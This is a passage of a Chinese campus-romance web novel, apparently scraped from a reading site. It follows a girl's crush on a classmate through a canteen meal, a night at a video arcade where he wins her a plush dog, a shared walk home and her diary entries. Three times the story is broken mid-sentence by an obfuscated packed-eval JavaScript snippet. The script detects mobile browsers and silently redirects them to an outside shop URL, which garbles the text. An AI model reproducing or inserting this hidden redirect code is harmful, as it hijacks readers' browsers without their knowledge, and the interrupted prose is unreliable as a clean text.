“我的和你一样,至于谢惊洛……”秦长宇说到这个就来气:“也不知道这家伙眼神怎么这么尖,第五窗口藏在边边的番茄炖牛肉都被他发现了,有这等稀罕物也不喊我一声,我要知道我早过去打了,就知道吃独食。” 听完秦长宇悲愤填膺的话语,谢惊洛斜睨他一眼,漠然道:“你那个劲儿,就差直接抢阿姨的勺子给自己打菜,我看见时你都吃上了,怎么喊你?你把菜倒回去重新打过?” 秦长宇:“……” “哈哈哈哈哈哈哈哈——”唐思雨就爱看自己的发小被呛,笑得特别猖狂。 于听眠也差点没绷住。 “冲饭堂吃饭不就是这样的嘛?你以为谁都跟你似的,信步闲庭,还每个窗口都逛了个遍,知道的以为你来吃饭,不知道的还以为你来巡查。”秦长宇虽然理亏,但这并不妨碍他小声嘀咕。 嘀咕完了,开始催促他尝尝这菜:“你赶紧尝一口看看味道怎么样,这可是上晚自习以来第一次吃到这种菜啊!我算是理解那些一下课就拼命冲饭堂的人了。” 于听眠也好奇他会怎么评价,悄悄抬眼和另外两人一起看他。 谢惊洛:“……” 谢惊洛在三人的注目礼下夹起了一片为数不多的牛肉放入口中。 刚一进口,他好看的眉头就蹙了起来。 “怎么样?”见人把食物咽下去了,秦长宇很是期待他的评价。 “一般。”谢惊洛薄唇轻启,声音懒洋洋的,还带着点失望的意味,“肉太柴了,不入味,火候不够。” 咦?这么不好吃吗? 于听眠有点惊讶,她觉得自己的香菇滑鸡还可以哎?还是说她是真的饿了,吃什么都觉得好吃? “行了。”秦长宇可太了解好友的这副德行了,“他没直接说难吃那就是味道还可以,下次来得早可以吃。” 话是这么说,但他还是要谴责一下好友:“你就挑吧,都吃食堂了,再挑饿不死你。” “嗯哼。” 谢惊洛扯了扯嘴角,用筷子慢条斯理地将餐盘里的番茄和牛肉分离,漫不经心道:“我又没说不吃,况且都吃食堂了,挑挑怎么了?” 秦长宇:“……” 于听眠看完全程,低头偷笑。 她莫名觉得会挑食、会和好友互损的谢惊洛有些……可爱。 不同于在外人面前的温柔得体,她看到了他更为真实自我的一面。 这个认知让她心生雀跃。 谢惊洛吃东西的模样也是自始至终优雅从容,似要贯彻“食不言”这句名言,非必要绝不说话,连带着于听眠吃饭的姿势都端庄了几分。 这边吃得安安静静,那边倒是聊得热火朝天。 明天星期五,晚上没有自习,那两人饭没吃几口光顾着聊明天去哪里玩去了。 秦长宇:“这个地方去过了,再去也没什么意思……哎,我记得前两天中山路那边不是新开了一家电玩城吗?要不我们去那边玩玩?” 中山路? 于听眠捕捉到关键词。 “中山路?不就是眠眠家那个方向吗?”唐思雨转头问她:“眠眠你知道这条路吗?” 于听眠想了想:“知道,经过我家还要再走一段路,对我来说还好,但你们是反方向,去了回家的话可能会有点远。” “距离小事。”秦长宇毫不在意,“只要能步行到家都不是问题,所以你们去吗?” 唐思雨:“去呗,刚好也没去过。” 于听眠:“我都可以。” 只剩谢惊洛尚未表态,三道期待的目光又一次落到了他身上。 谢惊洛抬眸,不紧不慢放下筷子。 “你们定。” 这话就相当于同意了。 “你怎么都吃完了?”比起这个,秦长宇更关注另一件事,他看着好友空空如也的餐盘,谴责道:“吃那么快做什么?也不等我们一起。” “哦?”谢惊洛挑眉,面露诧异,“到现在都没吃两口,还以为你是要打包回去当宵夜吃?” 一句话攻击了两个人。 秦长宇:“……” 唐思雨:“……” 于听眠逃过一劫,暗喜。 今日心情不错,下晚自习回家的路上步伐都轻快了几分。 付向晓洗完澡出来就看着她面带微笑进门。 “心情不错?”她擦着湿漉漉的头发问。 于听眠放下书包,倒头瘫在沙发上,回她:“是有点……下课下得早,吃到了好吃的饭菜。” 虽然根本原因不是这个,但是不能说。 “哎呦……我可怜的孩子啊。”付向啧啧叹声:“吃到好吃的饭菜就高兴成这样,这过的是什么苦日子啊?妈妈看着就心疼唉……” “……”于听眠看着她亲爱的妈妈幸灾乐祸不像是心疼的表情,很是无语:“心疼我那就帮我准备晚饭?” “那还是算了。”付向晓变脸,“你总要知道有些苦是非吃不可的。” 于听眠面无表情看她。 付向晓笑笑,不逗她了:“好啦,赶紧收拾收拾去洗澡,桌上有吃的你饿了就去吃,还有,你要的习题册给你买回来了。” 她抬了抬下巴,于听眠看到桌子上放着一本一厘米厚的数学习题册。 “哦豁~谢谢妈妈~”于听眠拿起习题册翻了翻,确定是自己需要的那一本,遂喜笑颜开,师承一脉的变脸。 “对了妈妈,明天星期五不用上晚自习,但我没那么快回来,要和同学们去玩。”于听眠想起这回事儿,顺道一起说了。 “哟?” 付向晓没想到还能收获意外之喜:“那感情好啊,明天我和你爸不加班去约会,正想怎么安置你呢,这下不用愁了。” 于听眠:“……” 她再一次确认:“你确定我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100899|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你亲生的吗?” 付向晓摊手:“不知道呀,反正我没否认过你是充话费送的。” 于听眠:“……” 处理完手头零零碎碎的事后,于听眠拿着习题册钻进了房间。 这是她综合云城一中的教学质量和自身的数学水平精挑细选的习题册,很适合她现阶段提速巩固用。 数学题这种神奇的东西,那么碰都不想碰,要么碰了就容易上瘾。 待于听眠耗心费神解开最后一道大题,时间已是将近半夜一点了。 大脑松懈下来,方才还毫无察觉的疲惫感一涌而上。 “唔——” 她伸了个懒腰,收拾好乱七八糟的东西钻进被窝。 怀着愉悦的心情缓缓闭眼,她很期待明天的到来。 电玩城比想象的大,天色渐晚,里头灯火通明,五彩斑斓的光照映全场,虚拟与现实交融,玩性大动。 于听眠换了二十个游戏币,逛了一圈没着急去玩,观察其他人在做什么。 她一个一个游戏项目找去,最后目光穿过人群看到团在游戏机前的三个人。 唐思雨和秦长宇在激情《拳皇》,时不时发出怪叫,谢惊洛则站在他俩身后围观菜鸡互啄。 于听眠也凑上前去围观,谢惊洛腾了个视野好的位置给她。 她热着脸小声道谢。 电玩城的音乐嘈杂,她道完谢后觉得自己的声音似乎有点太小了,谢惊洛大概是没听见的。 正当她踌躇着要不要再说一句,耳边传来谢惊洛压低了声音的回答。 “不客气。” 于听眠不太会玩游戏机,但看玩得起劲的那俩毫无规律的手法和闪现消失的血条,也知道这是一场精彩到无与伦比的战斗。 太精彩了,她不敢看,所以她走了。 又逛了一圈,她最后在一排排娃娃机面前站定。 老实说,她对于这些可爱的小玩偶实在没有什么抵抗力,但也知道这种是十个萝卜九个坑,投进去抓的钱可能还没有现买一只实惠。 可惜她每次都抱着侥幸心理,犹豫过后又想着万一真的抓到了呢? 所以这次她也是赶着去上当了。 她挑了一台放着灰白相间小狗的机子,看着里头脑袋大大的,圆乎乎的小狗,郑重其事地投下了第一颗币。 她抓着操控杆聚精会神左右调整钩爪的方向,赶在倒计时结束最后一秒按下了按键。 钩爪摇摇晃晃落下,松松垮垮夹起一只小狗,在于听眠满怀期待的眼神中升至最高点——然后晃悠两下,小狗掉回小狗堆里。 没事。 于听眠安慰自己。 离出口近了一点,夹多几次慢慢挪也能挪过来,还有十九个币她就不信一次也夹不到。 小狗玩偶在于听眠的预想下一点一点地靠近了出口,眼看着就要成功,于听眠近乎虔诚地投下了最后一个币。 钩爪抓起小狗,在于听眠全神贯注的目光里掉下。没掉进出口,反而掉在了挡板上,借力一弹,弹回了更远的地方。 很好,前功尽弃,一朝回到解放前。 于听眠:“……” 下次再玩这个她就砍了自己的手。 于听眠恨恨磨牙,但币花完了也没有办法,她不甘不愿退后一步,准备转身离开。 温润的嗓音自身后响起。 “怎么不抓了?” 27. Flower Dance 嗯?!! 于听眠一怔,猛然回头。 谢惊洛轻轻倚着身后的娃娃机,一只手随意地插在口袋里,另一只手拎着一枚硬币大小的游戏币把玩,修长的手指稍一律动,游戏币就从大拇指处翻到了无名指与尾指之间。 她刚才和娃娃机对抗得过于专注,竟全然不知他是何时站在自己身后的。 也不知道他看了多久。 那刚才她趴在娃娃机上左看右看对准方向,然后没抓到气急败坏的样子都被他看见了? 于听眠忽然觉得两眼一黑。 饶是如此,她脸上还是保持镇定地回答了他的问题。 “呃……那个、没币了……” 她的声音渐渐低了下去。 二十个币一个都没抓到,是有点……丢人哈…… 于听眠抿了抿唇,面上流露出一丝微不可查的窘迫,上蹿下跳也就算了,结果蹿完了也没抓到,怪不好意思的。 她眨了眨眼睛,脑子飞速转动,正要说点什么结束这个令人尴尬的话题,谢惊洛却先一步她开口了。 “这样啊,那可以让我试着帮你抓一次吗?虽然可能不会成功。” “……啊?” 这个要求太过猝不及防,于听眠一度怀疑是自己听错了,她连忙再次解释:“可是……我已经没有游戏币了。” “我知道。”谢惊洛上前一步,朝于听眠摊开掌心,里头是他方才拎在手里把玩的那枚游戏币。 他眉眼弯起,笑意盎然:“用这个抓。” 他明明笑得温柔,于听眠却觉得此刻的他像一个会诱惑人的妖精,美丽而危险,稍不注意就会被其蛊惑,跌入深不见底的漩涡。 于听眠不自觉就点了头。 等反应过来自己干了什么时,谢惊洛已经将游戏币投进娃娃机里了。 于听眠:“……” 罢了,事已至此,先抓了再说。 谢惊洛没有选择继续抓于听眠投了二十个币都没捞出来的那只,他换了个目标,选了另一只离挡板近一些、狗头朝向洞口的抓。 下钩的位置往后了一点,没往圆滚滚的脑袋抓,而是勾起了小狗的身体。 小狗玩偶脑袋大,重心在脑袋上,身体被钩爪提起,重心偏移,整只玩偶向前翻滚,骨碌一下就滚进了出口。 于听眠:“……” 啊? 真的抓到了? 于听眠有点懵,她原本还在为谢惊洛要浪费掉一个游戏币而感到可惜,结果真的能抓到? 不是,道理她都懂,她抓的时候也是用的这个手法,为什么她投了二十个币连个响儿都没有,谢惊洛只用了一个币就抓到了?人与人的差别这么大的?! 于听眠在认真思考这到底是为什么,一时间没了动作。 谢惊洛看她一眼,蹲下身,从出口处拿出娃娃,递到了她面前。 “呃?!” 眼前骤然出现的狗头将沉浸在思考中的于听眠拉回了现实。 “不要吗?”谢惊洛嘴角勾起一抹笑,晃了晃手中这个呆头呆脑的小玩偶,眼里盛着光。 他们很少有这么近距离说话的时候,何况还是面对面。于听眠有些手足无措,顿时不敢去看谢惊洛那双摄人心魄的眼睛。 她垂眸,视线落在玩偶上,蓦然想起一句话。 初见乍惊欢,久处亦怦然。 谢惊洛这双眼睛啊,无论看多少次都会怦然心动。 “……要的。”于听眠小心地从他手里接过玩偶,手指很注意地没触碰到对方,“真的给我吗?可这是用你的游戏币抓的。” “没关系。”谢惊洛笑道:“本来就是说帮你抓的,你拿去就行。” 于听眠握着小玩偶毛茸茸身子,感受着它软乎乎的触感,欢喜从心底蔓延,它像疯狂生长的藤蔓,一寸一寸将心脏包裹,直至密不透风,心脏在其间鼓动,难耐又柔软。 许是因为这个玩偶是眼前这个有特别意义的人夹的,所以这个其貌不扬的小东西也被赋予了某种特殊的意义,变得珍重可贵。 于听眠不太记得自己是怎么回答他的,好像是很开心地对他说了一句情绪饱满的“谢谢”。 这次声音倒是正常了,谢惊洛觉得有意思,也就用同样正常的声音又回了她一句“不客气”。 带着点调侃的意味。 于听眠先是一愣,回味过来后脑子“轰”的一声变得一片空白,周围嘈杂的喧闹声在此刻全然消失,烫热逐渐自心脏弥漫上脖颈、脸颊、再到耳根。 所幸绚丽的灯光缤纷,她脸上也不太显红。 即便是如此,她还是有种想举起玩偶遮住脸掩耳盗铃的冲动。 这太犯规了。 她祈祷着有个小天使莫名其妙出现来救她于水火之中。 “嘿——你俩都在这呢!” 小天使来了!! 唐思雨的声音由远及近,和秦长宇玩了一圈后,他俩终于想起来有两个小伙伴不见了踪影,遂开始满场寻找,最后在这娃娃机前看见了两人的身影。 “呀?这小东西挺可爱的。”唐思雨被于听眠怀里的小狗吸引了目光,“这种娃娃机老坑了,你居然抓到了。” “不是我抓的。”于听眠澄清,“是谢惊洛帮我抓的,我币用完了也没抓起来。” 唐思雨关注点在最后一句:“币投完了?你用了多少个币?” “……”于听眠不是很想聊这个话题,但还是告诉她,“二十个。” 唐思雨:“啊?用了那么多?那谢惊洛呢?” 于听眠:“……一个。” 唐思雨:“……” 她不知作何表态,一番无言,最后只能惋惜地拍拍于听眠的肩膀,语重心长:“答应我,孩子,以后不要再碰这种东西了,这种东西还是要看运气和天赋的,很明显你不是这块的料。” 于听眠:“……” 她想骂点很脏的东西。 唐思雨感受到于听眠眼里毫不掩饰的杀意,差点笑出声,但避免友谊的小船说翻就翻,她决定不再火上浇油,说起其他事转移话题。 “对了,有件事要告诉你们。” “什么事?” 秦长宇接过话头,替唐思雨说下去:“刚才我妈给我来电话了,说我们两家今晚在外面约饭,叫我到时候和她一起过去,所以等会儿我们四个要分道扬镳,刚好你们两个要同行一段,负责护送女生回家的任务就交给你了。” 后面那句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104968|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显是对谢惊洛说的。 谢惊洛并无异议,欣然接受这个安排:“可以。” 于听眠:? 啊? 于听眠觉得今晚特别梦幻,谢惊洛用他的游戏币帮她抓娃娃,还即将要与他单独同行回家…… 四舍五入不就等于谢惊洛送了她娃娃等会儿还会送她回家?! 天啊,她怎么会做这样的梦? 夜色愈发浓郁,天上星罗棋布,星星闪烁着,像细碎的流沙倾倒在夜空,汇聚成了广袤无垠的星河。 于听眠和谢惊洛并肩行于这星河之下。 他们都没有开口说话,谢惊洛带着耳机听歌,于听眠心头依旧萦绕着若有若无的不真实感,和谢惊洛独处的时间不常有,她想和他多说几句话,又不知从何言起。 谢惊洛耳机里的一首歌播放完毕,看着于听眠怀里从抓起抱到现在的玩偶,他摘下一只耳机,问:“不把它放进背包里吗?” “唔……”于听眠犹豫了一下,随即摇头:“不了,包里没位置了,我抱着就行。” 其实有位置,可她就是想抱着。 闻言,谢惊洛轻轻点头,不再过问,想要将耳机重新戴回去。 “谢惊洛。” 她脑子不知怎的一热,谢惊洛的名字脱口而出。 “嗯?”谢惊洛停下动作,偏过头看她。 “……” 其实于听眠也不知道叫他做什么,脑子一抽就叫了,但现在人家都回应了再跟人家说没事是不是有点像在找茬? 她大脑飞速运转,企图找点话题说两句不要像没事找事那般。 最终她的目光落在了谢惊洛手里的耳机上。 她问:“你在听什么?” 说完她就沉默了,好像这话说了也不比没说好到哪里去。 人家当然是在听歌啊,不然还能在听什么? 于听眠不禁懊恼,怎么总在他面前犯蠢? “是纯音乐。”谢惊洛眉眼一弯,抬了抬手中的耳机。 “要听吗?” 于听眠没想到随口乱问的话会有这个发展,思绪未反应过来,身体和言语先一步行动。 她朝他伸出了手,说: “好呀。” 她将耳机挂上耳朵,熟悉的,欢快而略带忧伤,空灵又唯美的音乐从里头传来。 居然是这首? 于听眠不免诧异。 这是一首她很喜欢的纯音乐,不曾想在这里听到了。 “FlowerDance。” 她下意识将这首音乐的名字念了出来。 “是的,你也听过?” 于听眠的声音不大,可依旧被谢惊洛捕捉到。 “听过几次,你喜欢这首歌?”于听眠问。 谢惊洛颔首:“嗯,挺喜欢的,曲风很特别。” 于听眠点了点头,没再多问,开始安安静静欣赏音乐。 回去的路上要经过一条小路。 昏暗的路灯将两个并行的影子拉得很长,他们身披星光,一同漫步在这人烟稀少的小路上,分享着同一副耳机,听着一首彼此都喜欢的音乐。 倘若时间停留于此。 于听眠贪心地想。 28. 小故事 走过了小路,再往前走一截就到了于听眠家所在的小区门口。 “我到了,进去就是了。”于听眠往前走两步站在小区门口,路灯暖黄的光洒在她身上,为她披上了一层金纱。 她搂着玩偶的力道紧了紧,向他道谢:“谢谢你送我回来,麻烦你了。” “举手之劳。”谢惊洛不觉得有什么麻烦,本就是顺路。 “那我先离开了。” 他说。 “嗯。”于听眠抬起一只手朝他挥了挥,向他告别,“再见。” “再见。” 道过别,谢惊洛利落转身,继续朝前走去。于听眠看着他渐行渐远的身影,忽然记起了什么,下意识地又喊了一声他的名字。 “谢惊洛——” 这次她的声音很大,足以穿透夜幕,奔向他的耳边。 谢惊洛脚步停下,回过头,看见站在光里的少女向着他呼喊。 “路上小心——” 这话听着耳熟,谢惊洛的记忆蓦然被唤醒。 好似一个月前,在市区公交站,他也对她说过一样的话。 唇角勾起一抹连他自己都没意识到的,微不可察的笑意。 他回应着她: “好。” 于听眠一蹦一跳回了家,在付向晓不解的目光下蹦到了电脑前,想要找点数学资料。 照旧想打开Q.Q挂上,刚一登录就有新好友的提示音。 她点开看,发现是一个不认识的头像和名字。 叫巧克力麻婆豆腐。 好邪恶的口味。 于听眠点了同意,发了条信息过去: [小鲤鱼:你好?] 对面回复地很快: [巧克力麻婆豆腐:太好了!作者大大真的同意了!!] [巧克力麻婆豆腐:大大大大,我是在《小故事》上加的你,我很喜欢你写的故事!] 小故事? 于听眠忽然被死去的记忆攻击了。 她很久以前还没被数学题摧残,心血来潮之余写了个短篇童话故事,然后拿给付向晓鉴赏。 付向晓看过之后觉得有趣,让她稍作修改帮她投了稿,很幸运被选上发表了。 《小故事》每篇文章下面有个作者专栏,作者可以在下面留下一些彩蛋,于听眠那时候留的是Q.Q号,希望能和志同道合的伙伴一起交流。 一开始会有人加她,但时间久了,随着新的故事发表,这件事也被渐渐淡忘。 如今还有人加她于听眠难免意外,但仍旧很开心。 [小鲤鱼:谢谢你的喜欢,我很高兴!] [巧克力麻婆豆腐:大大,我能不能借用一下你的灵感?想衍生一下话剧,诗歌什么的。] 于听眠想了想,回道: [小鲤鱼:可以的。] [巧克力麻婆豆腐:哇塞!太好啦!谢谢大大!!] 2013年10月18日 天气:晴 啊啊啊啊啊啊啊—— 我的天啊,我今天不是在做梦吧? 发生了好多匪夷所思的事。 抛开那二十个游戏币没夹上来一个娃娃的事不谈,谢惊洛用他自己的币帮我夹娃娃,然后说本来就是帮我夹的归我了…… 那四舍五入不就等于谢惊洛给我送娃娃了?!(好吧,冷静下来想想,事实很有可能是谢惊洛本来就对这小玩意儿不感兴趣,出于礼貌刚好抓到就给我了。) 但是不管了,现在是幻想时间!! 嗷嗷嗷嗷嗷嗷嗷—— 不行,我等会儿就要去把床上的小熊熊拿走换上小狗狗! 而且谢惊洛还和我一起同行回家了!我们还用同一副耳机一起听歌,还喜欢同一首歌! 鬼知道当我意识到我和他有共同爱好的时候有多激动——当然我现在也很激动,但在他面前我还是要保持文静优雅的形象的。(如果我有这东西的话) 还有一件同样值得开心的事,我很久之前写的小故事有个读者说想借用当话剧诗歌灵感,我同意了,很高兴有人会喜欢我写的故事。 好的,今天的内容就到这吧,我不写了,我现在就要去边听歌边刷数学题了~ 许是因为心情愉悦,于听眠今晚脑子格外灵光,悟性极强,写起题来思如泉涌一点就通,下笔几乎没有停顿,竟是比往常提前半个小时完成了今日份的任务。 她心满意足合上习题册,收拾完东西带着小狗玩偶滚上了床。 要把陪伴她许久的玩偶熊拿走只是说笑的,她当然不是那么冷漠无情的女人,而且除了这个她暂时没有更舒服的靠背了。 于听眠将小狗玩偶放在了她和玩偶熊的中间,怕它俩着凉,还特意分了一半被子给它们盖上,一个个说晚安。 毕竟生活要有仪式感,哪怕它们并不能回答她。 她回想着今晚发生的一切,嘴角带着笑意,慢慢闭上了双眼。 不知道以后会怎么样,但对于一个暗恋者而言,今天这些回忆弥足珍贵,足以让她在往后的日子里回味好久好久。 短暂的玩乐结束,一切又回到了正轨,没了必要的接触,于听眠又一次和谢惊洛失去了交集,除了偶尔撞见礼貌点头问好,其余的好像又回到了当初互不相识的模样。 好似那个繁星漫天的夜晚不过是大梦一场。 “新青杯”的征文比赛提上了日程,理一班包括于听眠在内,共有二十个人参加了征文。 这个星期于听眠对着文章修修改改,总算是满意了最后一份。 “写得可以啊宝,我觉得你在总决赛拿名次的可能性很大。” 唐思雨细细观摩她最后一版的文章,赞声不绝,对她的实力给予了极高的肯定。 “别别别。”于听眠连忙摆手拒绝她的捧杀,“说总决赛还是太夸张了,那可是全国性的,高手如云,我放在里面不够看的,能过省级初赛都是清明给老祖们烧的纸钱到位了。” “我不管。”唐思雨拒绝了她的拒绝,笑嘻嘻用肩膀撞了她一下,“我们眠眠实力够强,我说可以就可以,反驳我就是我对。” 于听眠拗不过她,就随她说了:“行吧,我尽量努力一下不让你失望,但先说好,我真不一定能行。” 唐思雨:“那让我期待一下~” 于听眠先是无奈,然后又问她:“你那边呢?准备的怎么样了?” “还要再做一次修改,之后就基本定了,等我改完拿给你看。” “好。”于听眠比了个OK的手势,表示知道了,然后例行鼓励:“你也加油。” “我就算了。”唐思雨对自己的实力有数,她语气悲伤:“我知道我自己有几斤几两,就是重在参与的,我就尽量看看能不能陪你走多一段路吧,等我被淘汰了,以后的路你就要自己一个人走了,答应我,不要挂念我,你一个人也要坚强,好吗?” 说着,她还扯了张纸巾擦了擦眼角不存在的泪水,掩了掩嘴角要憋不住的笑。 “……”于听眠看着她演,眼神冷漠言语现实而冰冷:“纸巾在学校可是稀罕物,你不要哭太久,一张纸巾撕一半擦就好了。” 唐思雨:“……” 唐思雨震惊,满脸不可置信,泫然欲泣地控诉她:“你、你这个冷漠无情的女人,怎么可以说得出这么冰冷的话?!” 说完,她把手中的纸巾撕了一半放回原位。 于听眠:“……” 演完了一场,折磨够了好友,唐思雨神清气爽。 爽完了,肚子也饿了,她拉上于听眠前往食堂寻找生命特征维持餐。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109592|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 连续狂奔食堂吃了多次没人吃的番茄炒蛋后,她终于是放弃了冲饭堂的想法,并同意于听眠说的是真理,她们确实怎么抢都抢不过一楼二楼的,与其这样,还不如放弃折磨自己。 当然,星期四除外,有机会冲的时候还是值得放手一搏。 接受了命运后,她们去食堂的路上都多了一份洒脱。 她们不是住宿生,不用急着回去洗澡整理内务,吃完饭后还有不少空余时间。 “要不要去操场走走?”从小超市出来,唐思雨提议道,“好久没压过操场了,去走走消消食?” 于听眠不反对,但疑惑:“我们有消食的需要吗?” 吃了跟没吃一样。 唐思雨:“借口而已,不必理会。” 于听眠悟了:“好的。” 两人拐了个弯从西门进了操场。 从西门进去,再往前走就是跑道,篮球场在东门那边。 内圈有人在跑步,两人就挽着手在最外圈慢慢地走,晚风拂起她们的发丝,声音被卷进风里。她们聊聊这聊聊那,说说哪个老师最容易拖堂,骂骂哪科布置的作业最多,又猜猜班里的哪两个人暗生情愫,就这么说着走着,跑道也不知不觉被她们走完了一大半。 经过东门的篮球场时,于听眠眼角余光督见了什么,顿住了脚步。 “怎么了?”感受到挽着的人停了下来,她拖了一下,没拖动,下意识问道。 问完,她又顺着对方的视线看去。 是秦长宇和谢惊洛在篮球场里打球。 “咦?是他俩打球哎,要不要去看看?” 于听眠正有此意,但为了不让自己看起来那么迫不及待,她假装犹豫了一下才回答:“可以啊。” 她觉得自己可太能装了。 唐思雨把她拉到了一个角落的位置,并用自己多次被砸的经验告诉对方:“信我,这个地方不但视角好,而且绝对安全,我用我多年被砸的经验保证。” 于听眠:“……看得出来你经历了很多。” 唐思雨“害”了一声,潇洒摆手:“都是成长路上的坎坷罢了。” 于听眠:“你喜欢看篮球?” 唐思雨:“不喜欢啊,看不懂。” 于听眠:“那你怎么被砸这么多次的?” 唐思雨:“秦长宇叫我去看他打,我就奇了怪了,十次去看能有八次被砸,那些篮球随机从不同方向飞来,防也防不住……你干嘛?” 于听眠松开挽着她手臂的手,往旁边挪了一步:“我惜命。” “……” 唐思雨一把抓住她的手,强势拉了回来:“一起死。” “啊?要殉情?”于听眠一脸陶醉,“好浪漫。” 唐思雨:“……” 于听眠也看不懂篮球,但她的目光时刻落在谢惊洛身上,看少年不动声色地观察着全场,身影犹如伺机而动的猎豹,在场上飞速穿梭,快速而精准地将篮球传递给队友。 气氛紧张热烈,到了白热化阶段。 千钧一发之际,谢惊洛顺利接过秦长宇传递给他的球,轻巧一跃,篮球在空中划过一道优美的弧线,正中筐心。 “哇呜——” 围观的群众掌声雷动。 “还是看不懂,但我大为震撼。”唐思雨评价。 于听眠失笑。 唐思雨抬起手腕看了眼时间:“时间也差不多了,可以回去了。” 于听眠有点没看够,不舍地点头:“好。” 她转身正要走,却又被一股力道按住。 “嗯?” 唐思雨悄声在她耳边道:“你看那边。” 于听眠不解,朝着她说的方向看过去。 篮球筐下,有个长发女生捧着一瓶水,要给谢惊洛。 29. 都没来 距离离得远,听不见他们在说什么,只是看见谢惊洛没接女生手上的那瓶水,笑着说了两句话。 女生举着水瓶的手慢慢放下,低下了头,披在肩上的长发垂落,堪堪遮住了半边脸。 于听眠看不见她的表情,却莫名能感受到她的失落。 她看着女生听完谢惊洛的话,缓慢地点了点头,转身离开。 一同围观完全程的唐思雨惋惜地摇了摇头,叹息:“挺好的一个女孩子,喜欢谢惊洛可惜了。” “……为什么?” 于听眠的声音很小,像是在询问,又像在喃喃自语,小到近在咫尺的唐思雨都没能完全听清,她确认道:“嗯?你刚才说什么。” 小插曲已然结束,是该回去了。 于听眠带着唐思雨头也不回地往回走。 “为什么说她喜欢谢惊洛可惜了?” 回去的路上,于听眠又问了一遍。 “哦,这个啊……”唐思雨少见地支吾了一下,斟酌了一番言语才开口:“这其实算是我的个人观点吧,没什么参考价值,你听听就好了,当做我的胡说八道。” 于听眠面色坦然,仿佛这只是在聊一个无关自身的话题:“行啊,你说吧。” “我是觉得,谢惊洛他自身的条件很是优秀,本身又有着鸿鹄之志,眼前的事物很难留住他,就好比如云城一中这一小片方寸之地,他会在此停留、歇息、成长,但不会永远留在这里,他的目标向来是星辰大海,他的目光一直都在远方,很难会注意到身边的人。” “因而也注定了他很难喜欢上某一个人,可相反的,他本身又是优秀耀眼的,性格、能力、容貌等各种因素吸引了无数人前赴后继,但落花有意随流水,流水无情恋落花,结果又无一不是令人失落的。” “所以我一直觉得喜欢谢惊洛就像是飞蛾扑火,几乎得不到回应,可偏偏就喜欢上了又没有办法,满腔欢喜注定要付之东流,很是可惜。” “唉……有时候觉得谢惊洛挺无情的,明明拒绝的话说的温柔,但话里话外都没给人留一点念想。” “所以啊我的眠宝……”唐思雨松松地挽着于听眠的手臂,头靠在她的肩上惆怅道:“答应我,你以后不要喜欢谢惊洛那样的人好吗,和这样的人做朋友会很快乐,但喜欢上了会很难过的。” “……” 于听眠不知该怎么回答她,讲这个有点太晚了,早喜欢上了。 好在唐思雨也只是惆怅之余有感而发,并没有要于听眠当场答应她的打算。 “这些都只是我的个人看法,我和他的关系没有秦长宇和他那么熟,这是这么久的相处以来我对他的感觉,至于他本人是不是这么想的我就不确定了,所以我这些话听听就算了,没有任何意义。” “……嗯,知道了。” 今晚于听眠破天荒没有刷数学题。 她在背包里拿出了从学校带回来的速写本,从背后倒翻回来,一张又一张,不同的场景不同的姿势神态,唯独面容皆是同一人。 她总是默默关注着谢惊洛,将自己觉得他好看的瞬间画进这个本子里,一开始做贼心虚,还特意将速写本翻面从背后开始画,不知不觉竟也画了那么多张。 按照惯例,她本该将谢惊洛今日帅气的投篮姿态也画出来,但唐思雨的那一番话终究还是扰乱了她的心神。 她握着画笔,思绪繁乱,迟迟无法下手。 半晌,她颓然放下笔,靠在椅背上,静静地发了会呆。 没一会儿,她将速写本和画笔放到一边,找出了日记本。 2013年10月23日 天气:多云 虽然思雨说她说的话没什么参考价值,让我听听就好,可……我觉得她说得挺有道理的。 其实一直觉得谢惊洛像一轮天边明月,皎洁耀眼,明明就在身边,却又像是隔了千沟万壑,触不可及。 我知道不会有结果,但放弃喜欢他我又做不到。 也舍不得。 真是狼狈。 于听眠合上日记本,放弃挣扎般的,深深呼出口气。 罢了,哪怕是飞蛾扑火,也让她暂时贪恋这一瞬的温暖吧。 或许是思绪太杂,今夜于听眠辗转难眠,从床头滚到床尾又滚回床头,将近三点才堪堪睡去。 第二天早上,于听眠在被窝里哼唧了一声,迷糊间想着怎么闹钟还没响,她勉强睁开迷离的双眼,看了一眼闹钟。 时针即将要指向九点。 于听眠:“……” 啊?!!!! 脑子瞬间被吓清醒,她猛地从床上弹起,伸手捞过闹钟反复确认是不是自己看错了。 不应该啊,她记得她睡前有调闹钟啊? 可惜现实就是现实,无论她再怎么确认,闹钟上的时间都明晃晃地告诉她一件事——嘿嘿嘿,别挣扎了,你就是迟到了~ 于听眠:“……” 她面无表情将闹钟放回原位,顺势又躺了回去。 事已至此,再躺一会儿吧。 等等。 